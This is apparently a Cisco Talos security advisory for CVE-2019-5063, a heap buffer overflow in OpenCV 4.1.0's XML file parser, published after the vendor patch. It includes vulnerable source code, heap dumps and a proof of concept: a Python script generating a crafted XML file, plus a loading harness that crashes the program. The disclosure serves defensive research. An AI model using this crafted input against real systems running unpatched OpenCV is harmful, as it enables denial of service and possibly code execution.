CVE-2019-5063: TALOS-2019-0852 || Cisco Talos Intelligence Group

Summary

An exploitable heap buffer overflow vulnerability exists in the data structure persistence functionality of OpenCV 4.1.0. A specially crafted XML file can cause a buffer overflow, resulting in multiple heap corruptions and potential code execution. An attacker can provide a specially crafted file to trigger this vulnerability.

Tested Versions

OpenCV 4.1.0

Product URLs

[https://opencv.org/] (https://opencv.org/)
[https://github.com/opencv/opencv] (https://github.com/opencv/opencv)

CVSSv3 Score

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-120 - Buffer Copy without Checking Size of Input (‘Classic Buffer Overflow’)

Details

OpenCV was originally developed in 1999 by Intel Research and is currently maintained by the non-profit organization OpenCV.org. OpenCV is used in a myriad of ways, including facial recognition, robotics, motion tracking and various machine learning applications.

This particular vulnerability is present in the “persistence” mode of OpenCV that allows a developer to write and retrieve OpenCV data structures to/from a file on disk. The file type can be XML, YAML or JSON.

During parsing of a XML file containing a potential character entity reference, when the ampersand is encountered, the API will continue to digest alphanumeric characters until a semicolon is encountered. If the string does not match one of the strings in the switch statement, the data is instead copied to a buffer as is.

In persistence_xml.cpp, we can see the definition of the buffer that will be overflowed which resides within a FileStorageParser class on the heap.

char strbuf[CV_FS_MAX_LEN+16];

Where persistence.hpp defines CV_FS_MAX_LEN as:

44  #define CV_FS_MAX_LEN 4096

Therefore, our buffer size is 0x1010 (4112) bytes in length. The overflow occurs during the following parsing routine within persistence_xml.cpp:

583                             else if( c == '&' )
584                             {
585                                 if( *++ptr == '#' )
586                                 {
587                                     int val, base = 10;
588                                     ptr++;
589                                     if( *ptr == 'x' )
590                                     {
591                                         base = 16;
592                                         ptr++;
593                                     }
594                                     val = (int)strtol( ptr, &endptr, base );
595                                     if( (unsigned)val > (unsigned)255 ||
596                                        !endptr || *endptr != ';' )
597                                         CV_PARSE_ERROR_CPP( "Invalid numeric value in the string" );
598                                     c = (char)val;
599                                 }
600                                 else
601                                 {
602                                     endptr = ptr;
603                                     do c = *++endptr;
604                                     while( cv_isalnum(c) );
605                                     if( c != ';' )
606                                         CV_PARSE_ERROR_CPP( "Invalid character in the symbol entity name" );
607                                     len = (int)(endptr - ptr);
608                                     if( len == 2 && memcmp( ptr, "lt", len ) == 0 )
609                                         c = '<';
610                                     else if( len == 2 && memcmp( ptr, "gt", len ) == 0 )
611                                         c = '>';
612                                     else if( len == 3 && memcmp( ptr, "amp", len ) == 0 )
613                                         c = '&';
614                                     else if( len == 4 && memcmp( ptr, "apos", len ) == 0 )
615                                         c = '\'';
616                                     else if( len == 4 && memcmp( ptr, "quot", len ) == 0 )
617                                         c = '\"';
618                                     else
619                                     {
620                                         memcpy( strbuf + i, ptr-1, len + 2 );
621                                         i += len + 2;
622                                     }
623                                 }

The overflow occurs at line 620. It happens because the buffer is a fixed size, but the size for the memcpy is calculated as the length of the entire XML entity value (line 596) without checking if it extends beyond the target buffer.

Crash Information

We can see the vulnerable memcpy operation occur here:

0x41f71f    call   memcpy@plt <0x406470>
    dest: 0x91c380 ◂— 0x676e69727400
    src: 0x911e15 ◂— 0x4242424242422026 ('& BBBBBB')
    n: 0x2c83

If the buffer size is only 0x1010 (4112) bytes, and the memcpy size (the entire value of one of the entity reference string) is 0x2c83 (11395) bytes, there will be an overflow into subsequent heap objects, leading to potential code execution.

The destination buffer is located within the ‘FileStorageParser` object itself:

type = class cv::XMLParser : public cv::FileStorageParser {
  public:
    cv::FileStorage_API *fs;
    char strbuf[4112];

    XMLParser(cv::FileStorage_API *);
    virtual ~XMLParser(void);
    char * skipSpaces(char *, int);
    virtual bool getBase64Row(char *, int, char *&, char *&);
    char * parseValue(char *, cv::FileNode &);
    char * parseTag(char *, std::__cxx11::string &, std::__cxx11::string &, int &);
    virtual bool parse(char *);
} *

In this particular case, the heap object for this instance is located at 0x91c350. The buffer is located at 0x91c380.

Heap chunk: 0x91c358 (malloc address)
Heap chunk header: 0x91c350
             Size: 0x1040 (4160)
         Size+Hdr: 0x1050 (4176)
           Status: in USE
  Prev size field: 0x0 (0)
         Raw Size: 0x1041 (4161)
            Flags: PREV_INUSE

 000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
 000000000091c350: 00 00 00 00 00 00 00 00  41 10 00 00 00 00 00 00 ........A.......
 000000000091c360: 48 3f 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 H?..............
 000000000091c370: 98 3f 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .?......`.......
                                         ....
 000000000091d380: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
 000000000091d390: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......

The next object in the heap is located at 0x91d390 which is exactly 0x1040 (4160) bytes away:

Heap chunk: 0x91d398 (malloc address)
Heap chunk header: 0x91d390
             Size: 0x20 (32)
         Size+Hdr: 0x30 (48)
           Status: in USE
  Prev size field: 0x0 (0)
         Raw Size: 0x21 (33)
            Flags: PREV_INUSE

 000000000091d380: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00 ................
 000000000091d390: 00 00 00 00 00 00 00 00  21 00 00 00 00 00 00 00 ........!.......
                                         ....
 000000000091d3a0: 00 73 74 72 69 6e 67 73  00 00 00 00 00 00 00 00 .strings........
 000000000091d3b0: 00 00 00 00 00 00 00 00  51 1c 00 00 00 00 00 00 ........Q.......

Here are the objects after the memcpy() operation:

Heap chunk: 0x91c358 (malloc address)
Heap chunk header: 0x91c350
             Size: 0x1040 (4160)
         Size+Hdr: 0x1050 (4176)
           Status: is FREE
               FD: 0x8e3f48
               BK: 0x100000001
  Prev size field: 0x0 (0)
         Raw Size: 0x1041 (4161)
            Flags: PREV_INUSE

 000000000091c340: 00 40 00 00 00 00 00 00  00 00 00 00 00 00 00 00 .@..............
 000000000091c350: 00 00 00 00 00 00 00 00  41 10 00 00 00 00 00 00 ........A.......
 000000000091c360: 48 3f 8e 00 00 00 00 00  01 00 00 00 01 00 00 00 H?..............
 000000000091c370: 98 3f 8e 00 00 00 00 00  60 04 91 00 00 00 00 00 .?......`.......
                                         ....
 000000000091d380: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
 000000000091d390: 42 42 42 42 42 42 42 42  42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB

The heap object at 0x91d390 has clearly been corrupted.

0x91d390:   0x4242424242424242  0x4242424242424242
0x91d3a0:   0x4242424242424242  0x4242424242424242
0x91d3b0:   0x4242424242424242  0x4242424242424242
0x91d3c0:   0x4242424242424242  0x4242424242424242
0x91d3d0:   0x4242424242424242  0x4242424242424242
0x91d3e0:   0x4242424242424242  0x4242424242424242
0x91d3f0:   0x4242424242424242  0x4242424242424242
0x91d400:   0x4242424242424242  0x4242424242424242

The heap segment extends from 0x8f9000 to 0x91f000 (in this instance). This specific variant of the attack will trigger an access violation because an attempt to copy data beyond the heap segment will occur.

0x8f9000           0x91f000 rw-p    26000 0      [heap]


Program received signal SIGSEGV, Segmentation fault.
__memmove_sse2_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:481
481     VMOVU   %VEC(8), (%r11)

Exploit Proof of Concept

Generate a malicious XML file:

#!/usr/bin/env python
from struct import pack

poc = b'<?xml version="1.0"?><opencv_storage><strings>'
poc += b'string'
poc += b' & '
poc += b'B' * 0x2c80

# Required
poc += b';'
poc += b'</strings>'
with open("poc.xml", "wb") as f:
    f.write(poc)
f.close()

Compile the harness to load the file:

#include "opencv2/core.hpp"
/*
 * harness.cpp
 * g++ -I/usr/include/opencv4/ harness.cpp -o harness -l opencv_core
 */

int main(int argc, char** argv) {
    cv::FileStorage fs2(argv[1], cv::FileStorage::READ);
    fs2.release();
    return 0;
}

Execution: $ ./harness poc.xml [1] 24290 segmentation fault (core dumped) ./harness poc.xml

Timeline

2019-07-22 - Initial contact
2019-07-30 - Plain text report issued
2019-10-02 - 60+ day follow up
2019-10-21 - 90 day follow up
2019-11-13 - Vendor confirmed fix planned for December 2019 release
2019-12-12 - Talos granted extension to public disclosure deadline
2019-12-19 - Vendor patched
2020-01-02 - Public Release

Discovered by Dave McDaniel of Cisco Talos.